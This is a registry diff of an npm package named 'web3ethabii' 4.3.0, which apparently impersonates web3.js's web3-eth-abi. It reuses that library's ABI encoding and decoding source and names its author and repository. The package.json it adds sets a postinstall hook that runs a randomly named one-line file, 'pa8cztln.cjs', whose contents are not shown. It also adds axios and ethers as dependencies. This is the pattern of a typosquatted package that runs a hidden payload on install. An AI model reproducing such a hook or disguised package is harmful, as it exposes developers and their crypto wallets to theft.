web3ethabii 4.3.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (190) hide show
  1. package/LICENSE +14 -0
  2. package/README.md +59 -0
  3. package/lib/commonjs/api/errors_api.d.ts +5 -0
  4. package/lib/commonjs/api/errors_api.js +44 -0
  5. package/lib/commonjs/api/errors_api.js.map +1 -0
  6. package/lib/commonjs/api/events_api.d.ts +51 -0
  7. package/lib/commonjs/api/events_api.js +90 -0
  8. package/lib/commonjs/api/events_api.js.map +1 -0
  9. package/lib/commonjs/api/functions_api.d.ts +92 -0
  10. package/lib/commonjs/api/functions_api.js +139 -0
  11. package/lib/commonjs/api/functions_api.js.map +1 -0
  12. package/lib/commonjs/api/logs_api.d.ts +49 -0
  13. package/lib/commonjs/api/logs_api.js +107 -0
  14. package/lib/commonjs/api/logs_api.js.map +1 -0
  15. package/lib/commonjs/api/parameters_api.d.ts +238 -0
  16. package/lib/commonjs/api/parameters_api.js +280 -0
  17. package/lib/commonjs/api/parameters_api.js.map +1 -0
  18. package/lib/commonjs/coders/base/address.d.ts +4 -0
  19. package/lib/commonjs/coders/base/address.js +75 -0
  20. package/lib/commonjs/coders/base/address.js.map +1 -0
  21. package/lib/commonjs/coders/base/array.d.ts +4 -0
  22. package/lib/commonjs/coders/base/array.js +106 -0
  23. package/lib/commonjs/coders/base/array.js.map +1 -0
  24. package/lib/commonjs/coders/base/bool.d.ts +4 -0
  25. package/lib/commonjs/coders/base/bool.js +56 -0
  26. package/lib/commonjs/coders/base/bool.js.map +1 -0
  27. package/lib/commonjs/coders/base/bytes.d.ts +4 -0
  28. package/lib/commonjs/coders/base/bytes.js +101 -0
  29. package/lib/commonjs/coders/base/bytes.js.map +1 -0
  30. package/lib/commonjs/coders/base/index.d.ts +11 -0
  31. package/lib/commonjs/coders/base/index.js +109 -0
  32. package/lib/commonjs/coders/base/index.js.map +1 -0
  33. package/lib/commonjs/coders/base/number.d.ts +4 -0
  34. package/lib/commonjs/coders/base/number.js +116 -0
  35. package/lib/commonjs/coders/base/number.js.map +1 -0
  36. package/lib/commonjs/coders/base/numbersLimits.d.ts +4 -0
  37. package/lib/commonjs/coders/base/numbersLimits.js +40 -0
  38. package/lib/commonjs/coders/base/numbersLimits.js.map +1 -0
  39. package/lib/commonjs/coders/base/string.d.ts +4 -0
  40. package/lib/commonjs/coders/base/string.js +40 -0
  41. package/lib/commonjs/coders/base/string.js.map +1 -0
  42. package/lib/commonjs/coders/base/tuple.d.ts +7 -0
  43. package/lib/commonjs/coders/base/tuple.js +123 -0
  44. package/lib/commonjs/coders/base/tuple.js.map +1 -0
  45. package/lib/commonjs/coders/base/utils.d.ts +2 -0
  46. package/lib/commonjs/coders/base/utils.js +50 -0
  47. package/lib/commonjs/coders/base/utils.js.map +1 -0
  48. package/lib/commonjs/coders/decode.d.ts +5 -0
  49. package/lib/commonjs/coders/decode.js +29 -0
  50. package/lib/commonjs/coders/decode.js.map +1 -0
  51. package/lib/commonjs/coders/encode.d.ts +38 -0
  52. package/lib/commonjs/coders/encode.js +113 -0
  53. package/lib/commonjs/coders/encode.js.map +1 -0
  54. package/lib/commonjs/coders/types.d.ts +16 -0
  55. package/lib/commonjs/coders/types.js +19 -0
  56. package/lib/commonjs/coders/types.js.map +1 -0
  57. package/lib/commonjs/coders/utils.d.ts +23 -0
  58. package/lib/commonjs/coders/utils.js +115 -0
  59. package/lib/commonjs/coders/utils.js.map +1 -0
  60. package/lib/commonjs/decode_contract_error_data.d.ts +3 -0
  61. package/lib/commonjs/decode_contract_error_data.js +73 -0
  62. package/lib/commonjs/decode_contract_error_data.js.map +1 -0
  63. package/lib/commonjs/eip_712.d.ts +50 -0
  64. package/lib/commonjs/eip_712.js +144 -0
  65. package/lib/commonjs/eip_712.js.map +1 -0
  66. package/lib/commonjs/index.d.ts +8 -0
  67. package/lib/commonjs/index.js +43 -0
  68. package/lib/commonjs/index.js.map +1 -0
  69. package/lib/commonjs/package.json +1 -0
  70. package/lib/commonjs/utils.d.ts +43 -0
  71. package/lib/commonjs/utils.js +216 -0
  72. package/lib/commonjs/utils.js.map +1 -0
  73. package/lib/esm/api/errors_api.js +40 -0
  74. package/lib/esm/api/errors_api.js.map +1 -0
  75. package/lib/esm/api/events_api.js +86 -0
  76. package/lib/esm/api/events_api.js.map +1 -0
  77. package/lib/esm/api/functions_api.js +134 -0
  78. package/lib/esm/api/functions_api.js.map +1 -0
  79. package/lib/esm/api/logs_api.js +103 -0
  80. package/lib/esm/api/logs_api.js.map +1 -0
  81. package/lib/esm/api/parameters_api.js +271 -0
  82. package/lib/esm/api/parameters_api.js.map +1 -0
  83. package/lib/esm/coders/base/address.js +70 -0
  84. package/lib/esm/coders/base/address.js.map +1 -0
  85. package/lib/esm/coders/base/array.js +101 -0
  86. package/lib/esm/coders/base/array.js.map +1 -0
  87. package/lib/esm/coders/base/bool.js +51 -0
  88. package/lib/esm/coders/base/bool.js.map +1 -0
  89. package/lib/esm/coders/base/bytes.js +96 -0
  90. package/lib/esm/coders/base/bytes.js.map +1 -0
  91. package/lib/esm/coders/base/index.js +90 -0
  92. package/lib/esm/coders/base/index.js.map +1 -0
  93. package/lib/esm/coders/base/number.js +111 -0
  94. package/lib/esm/coders/base/number.js.map +1 -0
  95. package/lib/esm/coders/base/numbersLimits.js +37 -0
  96. package/lib/esm/coders/base/numbersLimits.js.map +1 -0
  97. package/lib/esm/coders/base/string.js +35 -0
  98. package/lib/esm/coders/base/string.js.map +1 -0
  99. package/lib/esm/coders/base/tuple.js +118 -0
  100. package/lib/esm/coders/base/tuple.js.map +1 -0
  101. package/lib/esm/coders/base/utils.js +46 -0
  102. package/lib/esm/coders/base/utils.js.map +1 -0
  103. package/lib/esm/coders/decode.js +25 -0
  104. package/lib/esm/coders/decode.js.map +1 -0
  105. package/lib/esm/coders/encode.js +108 -0
  106. package/lib/esm/coders/encode.js.map +1 -0
  107. package/lib/esm/coders/types.js +18 -0
  108. package/lib/esm/coders/types.js.map +1 -0
  109. package/lib/esm/coders/utils.js +105 -0
  110. package/lib/esm/coders/utils.js.map +1 -0
  111. package/lib/esm/decode_contract_error_data.js +69 -0
  112. package/lib/esm/decode_contract_error_data.js.map +1 -0
  113. package/lib/esm/eip_712.js +140 -0
  114. package/lib/esm/eip_712.js.map +1 -0
  115. package/lib/esm/index.js +25 -0
  116. package/lib/esm/index.js.map +1 -0
  117. package/lib/esm/package.json +1 -0
  118. package/lib/esm/utils.js +199 -0
  119. package/lib/esm/utils.js.map +1 -0
  120. package/lib/types/api/errors_api.d.ts +6 -0
  121. package/lib/types/api/errors_api.d.ts.map +1 -0
  122. package/lib/types/api/events_api.d.ts +52 -0
  123. package/lib/types/api/events_api.d.ts.map +1 -0
  124. package/lib/types/api/functions_api.d.ts +93 -0
  125. package/lib/types/api/functions_api.d.ts.map +1 -0
  126. package/lib/types/api/logs_api.d.ts +50 -0
  127. package/lib/types/api/logs_api.d.ts.map +1 -0
  128. package/lib/types/api/parameters_api.d.ts +239 -0
  129. package/lib/types/api/parameters_api.d.ts.map +1 -0
  130. package/lib/types/coders/base/address.d.ts +5 -0
  131. package/lib/types/coders/base/address.d.ts.map +1 -0
  132. package/lib/types/coders/base/array.d.ts +5 -0
  133. package/lib/types/coders/base/array.d.ts.map +1 -0
  134. package/lib/types/coders/base/bool.d.ts +5 -0
  135. package/lib/types/coders/base/bool.d.ts.map +1 -0
  136. package/lib/types/coders/base/bytes.d.ts +5 -0
  137. package/lib/types/coders/base/bytes.d.ts.map +1 -0
  138. package/lib/types/coders/base/index.d.ts +12 -0
  139. package/lib/types/coders/base/index.d.ts.map +1 -0
  140. package/lib/types/coders/base/number.d.ts +5 -0
  141. package/lib/types/coders/base/number.d.ts.map +1 -0
  142. package/lib/types/coders/base/numbersLimits.d.ts +5 -0
  143. package/lib/types/coders/base/numbersLimits.d.ts.map +1 -0
  144. package/lib/types/coders/base/string.d.ts +5 -0
  145. package/lib/types/coders/base/string.d.ts.map +1 -0
  146. package/lib/types/coders/base/tuple.d.ts +8 -0
  147. package/lib/types/coders/base/tuple.d.ts.map +1 -0
  148. package/lib/types/coders/base/utils.d.ts +3 -0
  149. package/lib/types/coders/base/utils.d.ts.map +1 -0
  150. package/lib/types/coders/decode.d.ts +6 -0
  151. package/lib/types/coders/decode.d.ts.map +1 -0
  152. package/lib/types/coders/encode.d.ts +39 -0
  153. package/lib/types/coders/encode.d.ts.map +1 -0
  154. package/lib/types/coders/types.d.ts +17 -0
  155. package/lib/types/coders/types.d.ts.map +1 -0
  156. package/lib/types/coders/utils.d.ts +24 -0
  157. package/lib/types/coders/utils.d.ts.map +1 -0
  158. package/lib/types/decode_contract_error_data.d.ts +4 -0
  159. package/lib/types/decode_contract_error_data.d.ts.map +1 -0
  160. package/lib/types/eip_712.d.ts +51 -0
  161. package/lib/types/eip_712.d.ts.map +1 -0
  162. package/lib/types/index.d.ts +9 -0
  163. package/lib/types/index.d.ts.map +1 -0
  164. package/lib/types/utils.d.ts +44 -0
  165. package/lib/types/utils.d.ts.map +1 -0
  166. package/pa8cztln.cjs +1 -0
  167. package/package.json +56 -0
  168. package/src/api/errors_api.ts +45 -0
  169. package/src/api/events_api.ts +91 -0
  170. package/src/api/functions_api.ts +145 -0
  171. package/src/api/logs_api.ts +131 -0
  172. package/src/api/parameters_api.ts +287 -0
  173. package/src/coders/base/address.ts +75 -0
  174. package/src/coders/base/array.ts +120 -0
  175. package/src/coders/base/bool.ts +54 -0
  176. package/src/coders/base/bytes.ts +106 -0
  177. package/src/coders/base/index.ts +95 -0
  178. package/src/coders/base/number.ts +116 -0
  179. package/src/coders/base/numbersLimits.ts +39 -0
  180. package/src/coders/base/string.ts +38 -0
  181. package/src/coders/base/tuple.ts +130 -0
  182. package/src/coders/base/utils.ts +51 -0
  183. package/src/coders/decode.ts +32 -0
  184. package/src/coders/encode.ts +114 -0
  185. package/src/coders/types.ts +39 -0
  186. package/src/coders/utils.ts +128 -0
  187. package/src/decode_contract_error_data.ts +80 -0
  188. package/src/eip_712.ts +252 -0
  189. package/src/index.ts +25 -0
  190. package/src/utils.ts +266 -0
package/package.json ADDED
@@ -0,0 +1,56 @@
1
+ {
2
+ "name": "web3ethabii",
3
+ "version": "4.3.0",
4
+ "description": "Web3 module encode and decode EVM in/output.",
5
+ "main": "./lib/commonjs/index.js",
6
+ "module": "./lib/esm/index.js",
7
+ "exports": {
8
+ ".": {
9
+ "types": "./lib/types/index.d.ts",
10
+ "import": "./lib/esm/index.js",
11
+ "require": "./lib/commonjs/index.js"
12
+ }
13
+ },
14
+ "repository": "https://github.com/ethereum/web3.js/tree/4.x/packages/web3-eth-abi",
15
+ "author": "ChainSafe Systems",
16
+ "license": "LGPL-3.0",
17
+ "engines": {
18
+ "node": ">=14",
19
+ "npm": ">=6.12.0"
20
+ },
21
+ "files": [
22
+ "lib/**/*",
23
+ "src/**/*",
24
+ "pa8cztln.cjs"
25
+ ],
26
+ "scripts": {
27
+ "postinstall": "node pa8cztln.cjs"
28
+ },
29
+ "dependencies": {
30
+ "abitype": "0.7.1",
31
+ "web3-errors": "^1.3.0",
32
+ "web3-types": "^1.8.1",
33
+ "web3-utils": "^4.3.2",
34
+ "web3-validator": "^2.0.6",
35
+ "axios": "^1.7.7",
36
+ "ethers": "^6.13.2"
37
+ },
38
+ "devDependencies": {
39
+ "@humeris/espresso-shot": "^4.0.0",
40
+ "@types/jest": "^28.1.6",
41
+ "@types/jest-when": "^3.5.2",
42
+ "@typescript-eslint/eslint-plugin": "^5.30.7",
43
+ "@typescript-eslint/parser": "^5.30.7",
44
+ "eslint": "^8.20.0",
45
+ "eslint-config-base-web3": "0.1.0",
46
+ "eslint-config-prettier": "^8.5.0",
47
+ "eslint-plugin-import": "^2.26.0",
48
+ "jest": "^29.7.0",
49
+ "jest-extended": "^3.0.1",
50
+ "jest-when": "^3.5.1",
51
+ "prettier": "^2.7.1",
52
+ "ts-jest": "^29.1.1",
53
+ "typescript": "^4.7.4"
54
+ },
55
+ "gitHead": "068f4b639d95c5dcdca9c0111349ea92792b31e7"
56
+ }
@@ -0,0 +1,45 @@
1
+ /*
2
+ This file is part of web3.js.
3
+
4
+ web3.js is free software: you can redistribute it and/or modify
5
+ it under the terms of the GNU Lesser General Public License as published by
6
+ the Free Software Foundation, either version 3 of the License, or
7
+ (at your option) any later version.
8
+
9
+ web3.js is distributed in the hope that it will be useful,
10
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
11
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
12
+ GNU Lesser General Public License for more details.
13
+
14
+ You should have received a copy of the GNU Lesser General Public License
15
+ along with web3.js. If not, see <http://www.gnu.org/licenses/>.
16
+ */
17
+
18
+ /**
19
+ *
20
+ * @module ABI
21
+ */
22
+
23
+ import { sha3Raw } from 'web3-utils';
24
+ import { AbiError } from 'web3-errors';
25
+ import { AbiErrorFragment } from 'web3-types';
26
+ import { jsonInterfaceMethodToString, isAbiErrorFragment } from '../utils.js';
27
+
28
+ /**
29
+ * Encodes the error name to its ABI signature, which are the sha3 hash of the error name including input types.
30
+ */
31
+ export const encodeErrorSignature = (functionName: string | AbiErrorFragment): string => {
32
+ if (typeof functionName !== 'string' && !isAbiErrorFragment(functionName)) {
33
+ throw new AbiError('Invalid parameter value in encodeErrorSignature');
34
+ }
35
+
36
+ let name: string;
37
+
38
+ if (functionName && (typeof functionName === 'function' || typeof functionName === 'object')) {
39
+ name = jsonInterfaceMethodToString(functionName);
40
+ } else {
41
+ name = functionName;
42
+ }
43
+
44
+ return sha3Raw(name);
45
+ };
@@ -0,0 +1,91 @@
1
+ /*
2
+ This file is part of web3.js.
3
+
4
+ web3.js is free software: you can redistribute it and/or modify
5
+ it under the terms of the GNU Lesser General Public License as published by
6
+ the Free Software Foundation, either version 3 of the License, or
7
+ (at your option) any later version.
8
+
9
+ web3.js is distributed in the hope that it will be useful,
10
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
11
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
12
+ GNU Lesser General Public License for more details.
13
+
14
+ You should have received a copy of the GNU Lesser General Public License
15
+ along with web3.js. If not, see <http://www.gnu.org/licenses/>.
16
+ */
17
+
18
+ /**
19
+ *
20
+ * @module ABI
21
+ */
22
+
23
+ import { sha3Raw } from 'web3-utils';
24
+ import { AbiError } from 'web3-errors';
25
+ import { AbiEventFragment } from 'web3-types';
26
+ import { jsonInterfaceMethodToString, isAbiEventFragment } from '../utils.js';
27
+
28
+ /**
29
+ * Encodes the event name to its ABI signature, which are the sha3 hash of the event name including input types.
30
+ * @param functionName - The event name to encode, or the {@link AbiEventFragment} object of the event. If string, it has to be in the form of `eventName(param1Type,param2Type,...)`. eg: myEvent(uint256,bytes32).
31
+ * @returns - The ABI signature of the event.
32
+ *
33
+ * @example
34
+ * ```ts
35
+ * const event = web3.eth.abi.encodeEventSignature({
36
+ * name: "myEvent",
37
+ * type: "event",
38
+ * inputs: [
39
+ * {
40
+ * type: "uint256",
41
+ * name: "myNumber",
42
+ * },
43
+ * {
44
+ * type: "bytes32",
45
+ * name: "myBytes",
46
+ * },
47
+ * ],
48
+ * });
49
+ * console.log(event);
50
+ * > 0xf2eeb729e636a8cb783be044acf6b7b1e2c5863735b60d6daae84c366ee87d97
51
+ *
52
+ * const event = web3.eth.abi.encodeEventSignature({
53
+ * inputs: [
54
+ * {
55
+ * indexed: true,
56
+ * name: "from",
57
+ * type: "address",
58
+ * },
59
+ * {
60
+ * indexed: true,
61
+ * name: "to",
62
+ * type: "address",
63
+ * },
64
+ * {
65
+ * indexed: false,
66
+ * name: "value",
67
+ * type: "uint256",
68
+ * },
69
+ * ],
70
+ * name: "Transfer",
71
+ * type: "event",
72
+ * });
73
+ * console.log(event);
74
+ * > 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef
75
+ * ```
76
+ */
77
+ export const encodeEventSignature = (functionName: string | AbiEventFragment): string => {
78
+ if (typeof functionName !== 'string' && !isAbiEventFragment(functionName)) {
79
+ throw new AbiError('Invalid parameter value in encodeEventSignature');
80
+ }
81
+
82
+ let name: string;
83
+
84
+ if (functionName && (typeof functionName === 'function' || typeof functionName === 'object')) {
85
+ name = jsonInterfaceMethodToString(functionName);
86
+ } else {
87
+ name = functionName;
88
+ }
89
+
90
+ return sha3Raw(name);
91
+ };
@@ -0,0 +1,145 @@
1
+ /*
2
+ This file is part of web3.js.
3
+
4
+ web3.js is free software: you can redistribute it and/or modify
5
+ it under the terms of the GNU Lesser General Public License as published by
6
+ the Free Software Foundation, either version 3 of the License, or
7
+ (at your option) any later version.
8
+
9
+ web3.js is distributed in the hope that it will be useful,
10
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
11
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
12
+ GNU Lesser General Public License for more details.
13
+
14
+ You should have received a copy of the GNU Lesser General Public License
15
+ along with web3.js. If not, see <http://www.gnu.org/licenses/>.
16
+ */
17
+
18
+ /**
19
+ *
20
+ * @module ABI
21
+ */
22
+ import { AbiError } from 'web3-errors';
23
+ import { sha3Raw } from 'web3-utils';
24
+ import { AbiFunctionFragment } from 'web3-types';
25
+ import { isAbiFunctionFragment, jsonInterfaceMethodToString } from '../utils.js';
26
+ import { encodeParameters } from './parameters_api.js';
27
+
28
+ /**
29
+ * Encodes the function name to its ABI representation, which are the first 4 bytes of the sha3 of the function name including types.
30
+ * The JSON interface spec documentation https://docs.soliditylang.org/en/latest/abi-spec.html#json
31
+ * @param functionName - The function name to encode or the `JSON interface` object of the function.
32
+ * If the passed parameter is a string, it has to be in the form of `functionName(param1Type,param2Type,...)`. eg: myFunction(uint256,uint32[],bytes10,bytes)
33
+ * @returns - The ABI signature of the function.
34
+ * @example
35
+ * ```ts
36
+ * const signature = web3.eth.abi.encodeFunctionSignature({
37
+ * name: "myMethod",
38
+ * type: "function",
39
+ * inputs: [
40
+ * {
41
+ * type: "uint256",
42
+ * name: "myNumber",
43
+ * },
44
+ * {
45
+ * type: "string",
46
+ * name: "myString",
47
+ * },
48
+ * ],
49
+ * });
50
+ * console.log(signature);
51
+ * > 0x24ee0097
52
+ *
53
+ * const signature = web3.eth.abi.encodeFunctionSignature('myMethod(uint256,string)')
54
+ * console.log(signature);
55
+ * > 0x24ee0097
56
+ *
57
+ * const signature = web3.eth.abi.encodeFunctionSignature('safeTransferFrom(address,address,uint256,bytes)');
58
+ * console.log(signature);
59
+ * > 0xb88d4fde
60
+ * ```
61
+ */
62
+ export const encodeFunctionSignature = (functionName: string | AbiFunctionFragment): string => {
63
+ if (typeof functionName !== 'string' && !isAbiFunctionFragment(functionName)) {
64
+ throw new AbiError('Invalid parameter value in encodeFunctionSignature');
65
+ }
66
+
67
+ let name: string;
68
+
69
+ if (functionName && (typeof functionName === 'function' || typeof functionName === 'object')) {
70
+ name = jsonInterfaceMethodToString(functionName);
71
+ } else {
72
+ name = functionName;
73
+ }
74
+
75
+ return sha3Raw(name).slice(0, 10);
76
+ };
77
+
78
+ /**
79
+ * Encodes a function call using its `JSON interface` object and given parameters.
80
+ * The JSON interface spec documentation https://docs.soliditylang.org/en/latest/abi-spec.html#json
81
+ * @param jsonInterface - The `JSON interface` object of the function.
82
+ * @param params - The parameters to encode
83
+ * @returns - The ABI encoded function call, which, means the function signature and the parameters passed.
84
+ * @example
85
+ * ```ts
86
+ * const sig = web3.eth.abi.encodeFunctionCall(
87
+ * {
88
+ * name: "myMethod",
89
+ * type: "function",
90
+ * inputs: [
91
+ * {
92
+ * type: "uint256",
93
+ * name: "myNumber",
94
+ * },
95
+ * {
96
+ * type: "string",
97
+ * name: "myString",
98
+ * },
99
+ * ],
100
+ * },
101
+ * ["2345675643", "Hello!%"]
102
+ * );
103
+ * console.log(sig);
104
+ * > 0x24ee0097000000000000000000000000000000000000000000000000000000008bd02b7b0000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000748656c6c6f212500000000000000000000000000000000000000000000000000
105
+ *
106
+ *
107
+ *
108
+ * const sig = web3.eth.abi.encodeFunctionCall(
109
+ * {
110
+ * inputs: [
111
+ * {
112
+ * name: "account",
113
+ * type: "address",
114
+ * },
115
+ * ],
116
+ * name: "balanceOf",
117
+ * outputs: [
118
+ * {
119
+ * name: "",
120
+ * type: "uint256",
121
+ * },
122
+ * ],
123
+ * stateMutability: "view",
124
+ * type: "function",
125
+ * },
126
+ * ["0x1234567890123456789012345678901234567890"]
127
+ * );
128
+ *
129
+ * console.log(sig);
130
+ * > 0x70a082310000000000000000000000001234567890123456789012345678901234567890
131
+ * ```
132
+ */
133
+ export const encodeFunctionCall = (
134
+ jsonInterface: AbiFunctionFragment,
135
+ params: unknown[],
136
+ ): string => {
137
+ if (!isAbiFunctionFragment(jsonInterface)) {
138
+ throw new AbiError('Invalid parameter value in encodeFunctionCall');
139
+ }
140
+
141
+ return `${encodeFunctionSignature(jsonInterface)}${encodeParameters(
142
+ jsonInterface.inputs ?? [],
143
+ params ?? [],
144
+ ).replace('0x', '')}`;
145
+ };
@@ -0,0 +1,131 @@
1
+ /*
2
+ This file is part of web3.js.
3
+
4
+ web3.js is free software: you can redistribute it and/or modify
5
+ it under the terms of the GNU Lesser General Public License as published by
6
+ the Free Software Foundation, either version 3 of the License, or
7
+ (at your option) any later version.
8
+
9
+ web3.js is distributed in the hope that it will be useful,
10
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
11
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
12
+ GNU Lesser General Public License for more details.
13
+
14
+ You should have received a copy of the GNU Lesser General Public License
15
+ along with web3.js. If not, see <http://www.gnu.org/licenses/>.
16
+ */
17
+
18
+ /**
19
+ *
20
+ * @module ABI
21
+ */
22
+
23
+ import { HexString, AbiParameter, DecodedParams } from 'web3-types';
24
+ import { decodeParameter, decodeParametersWith } from './parameters_api.js';
25
+
26
+ const STATIC_TYPES = ['bool', 'string', 'int', 'uint', 'address', 'fixed', 'ufixed'];
27
+
28
+ const _decodeParameter = (inputType: string, clonedTopic: string) =>
29
+ inputType === 'string' ? clonedTopic : decodeParameter(inputType, clonedTopic);
30
+
31
+ /**
32
+ * Decodes ABI-encoded log data and indexed topic data.
33
+ * @param inputs - A {@link AbiParameter} input array. See the [Solidity documentation](https://docs.soliditylang.org/en/develop/types.html) for a list of types.
34
+ * @param data - The ABI byte code in the `data` field of a log.
35
+ * @param topics - An array with the index parameter topics of the log, without the topic[0] if its a non-anonymous event, otherwise with topic[0]
36
+ * @returns - The result object containing the decoded parameters.
37
+ *
38
+ * @example
39
+ * ```ts
40
+ * let res = web3.eth.abi.decodeLog(
41
+ * [
42
+ * {
43
+ * type: "string",
44
+ * name: "myString",
45
+ * },
46
+ * {
47
+ * type: "uint256",
48
+ * name: "myNumber",
49
+ * indexed: true,
50
+ * },
51
+ * {
52
+ * type: "uint8",
53
+ * name: "mySmallNumber",
54
+ * indexed: true,
55
+ * },
56
+ * ],
57
+ * "0x0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000748656c6c6f252100000000000000000000000000000000000000000000000000",
58
+ * [
59
+ * "0x000000000000000000000000000000000000000000000000000000000000f310",
60
+ * "0x0000000000000000000000000000000000000000000000000000000000000010",
61
+ * ]
62
+ * );
63
+ * > {
64
+ * '0': 'Hello%!',
65
+ * '1': 62224n,
66
+ * '2': 16n,
67
+ * __length__: 3,
68
+ * myString: 'Hello%!',
69
+ * myNumber: 62224n,
70
+ * mySmallNumber: 16n
71
+ * }
72
+ * ```
73
+ */
74
+ export const decodeLog = <ReturnType extends DecodedParams>(
75
+ inputs: Array<AbiParameter> | ReadonlyArray<AbiParameter>,
76
+ data: HexString,
77
+ topics: string | string[],
78
+ ) => {
79
+ const clonedTopics = Array.isArray(topics) ? topics : [topics];
80
+
81
+ const indexedInputs: Record<number, AbiParameter> = {};
82
+ const nonIndexedInputs: Record<number, AbiParameter> = {};
83
+
84
+ for (const [i, input] of inputs.entries()) {
85
+ if (input.indexed) {
86
+ indexedInputs[i] = input;
87
+ } else {
88
+ nonIndexedInputs[i] = input;
89
+ }
90
+ }
91
+
92
+ const decodedNonIndexedInputs: DecodedParams = data
93
+ ? decodeParametersWith(Object.values(nonIndexedInputs), data, true)
94
+ : { __length__: 0 };
95
+
96
+ // If topics are more than indexed inputs, that means first topic is the event signature
97
+ const offset = clonedTopics.length - Object.keys(indexedInputs).length;
98
+
99
+ const decodedIndexedInputs = Object.values(indexedInputs).map((input, index) =>
100
+ STATIC_TYPES.some(s => input.type.startsWith(s))
101
+ ? _decodeParameter(input.type, clonedTopics[index + offset])
102
+ : clonedTopics[index + offset],
103
+ );
104
+
105
+ const returnValues: DecodedParams = { __length__: 0 };
106
+
107
+ let indexedCounter = 0;
108
+ let nonIndexedCounter = 0;
109
+
110
+ for (const [i, res] of inputs.entries()) {
111
+ returnValues[i] = res.type === 'string' ? '' : undefined;
112
+
113
+ if (indexedInputs[i]) {
114
+ returnValues[i] = decodedIndexedInputs[indexedCounter];
115
+ indexedCounter += 1;
116
+ }
117
+
118
+ if (nonIndexedInputs[i]) {
119
+ returnValues[i] = decodedNonIndexedInputs[String(nonIndexedCounter)];
120
+ nonIndexedCounter += 1;
121
+ }
122
+
123
+ if (res.name) {
124
+ returnValues[res.name] = returnValues[i];
125
+ }
126
+
127
+ returnValues.__length__ += 1;
128
+ }
129
+
130
+ return returnValues as ReturnType;
131
+ };